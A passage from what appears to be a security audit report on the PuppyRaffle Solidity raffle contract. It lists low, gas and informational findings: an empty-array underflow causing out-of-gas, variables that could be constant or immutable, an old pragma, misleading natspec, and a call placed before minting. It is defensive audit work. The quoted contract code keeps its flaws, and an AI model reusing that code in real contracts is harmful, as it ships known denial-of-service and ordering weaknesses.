Description: The `PuppyyRaffle::enterRaffle` function's *duplicate check loop* causes an underflow when players.length == 0. The condition for `(uint256 i = 0; i < players.length - 1; i++)` evaluates players.length - 1 as 2^256 - 1 for an empty array, leading to an infeasible number of iterations and an `OutOfGas error`. *This deplets users gas when they mistakenly call the function with an empty array which is bad.*

Impact: * Consumes excessive gas, instead of reverting due to empty array and exposes a DoS vulnerability.

Proof of Concept: Add this to `test/PuppyRaffleTest.t.sol`:

```
function test_enterRaffleWithEmptyArrayReverts() public {
    address[] memory emptyPlayers = new address[](0);
    vm.expectRevert("PuppyRaffle: Must send enough to enter raffle");
    puppyRaffle.enterRaffle{value: 0}(emptyPlayers);
}
```

This test does revert but with an `OutOfGas error`.

Recommended Mitigation: Add a check for empty newPlayers array:

```
    function enterRaffle(address[] memory newPlayers) public payable {
+       require(newPlayers.length > 0, "PuppyRaffle: No players
    provided");
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```

[L-4] State Variable Could Be Constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 39

```
    string private commonImageUri = "ipfs://
        QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
```

- Found in src/PuppyRaffle.sol Line: 44

```
    string private rareImageUri = "ipfs://
        QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
```

- Found in src/PuppyRaffle.sol Line: 49

```
1     string private legendaryImageUri = "ipfs://
          QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

[L-5] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 63

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 181

```
1         feeAddress = newFeeAddress;
```

GAS/INFORMATIONAL

[G-1] State Variable Could Be Immutable

State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 25

```
1     uint256 public raffleDuration;
```

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using older solidity version is not recommended

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

See: (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity)

[I-3] Misinformation in PuppyRaffle natspec which cause confusion for devs

Description: The natspec at the top of the `PuppyRaffle` contract where the `title` is, says a player can enter himself multiple times and yet under the next line it says no duplicate players. See here:

```
1      /// @notice This project is to enter a raffle to win a cute dog NFT
           . The protocol should do the following:
2      /// 1. Call the `enterRaffle` function with the following
           parameters:
3  @>  ///    1. `address[] participants`: A list of addresses that enter.
       You can use this to enter yourself multiple times, or yourself and
       a group of your friends.
4  @>  /// 2. Duplicate addresses are not allowed
```

Impact: Will cause confusion for auditors.

Proof of Concept: Natspec misinforms.

Recommended Mitigation: Change this line:

```
1  -   ///    1. `address[] participants`: A list of addresses that enter.
       You can use this to enter yourself multiple times, or yourself and
       a group of your friends.
```

To:

```
1  +   ///    1. `address[] participants`: A list of addresses that enter.
       You can use this to enter multiple addresses of yours, or yourself
       and a group of your friends.
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI for best practices purposes

It's best to follow best practices of CEI

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

They are also lots of informational/gas findings that are not included here.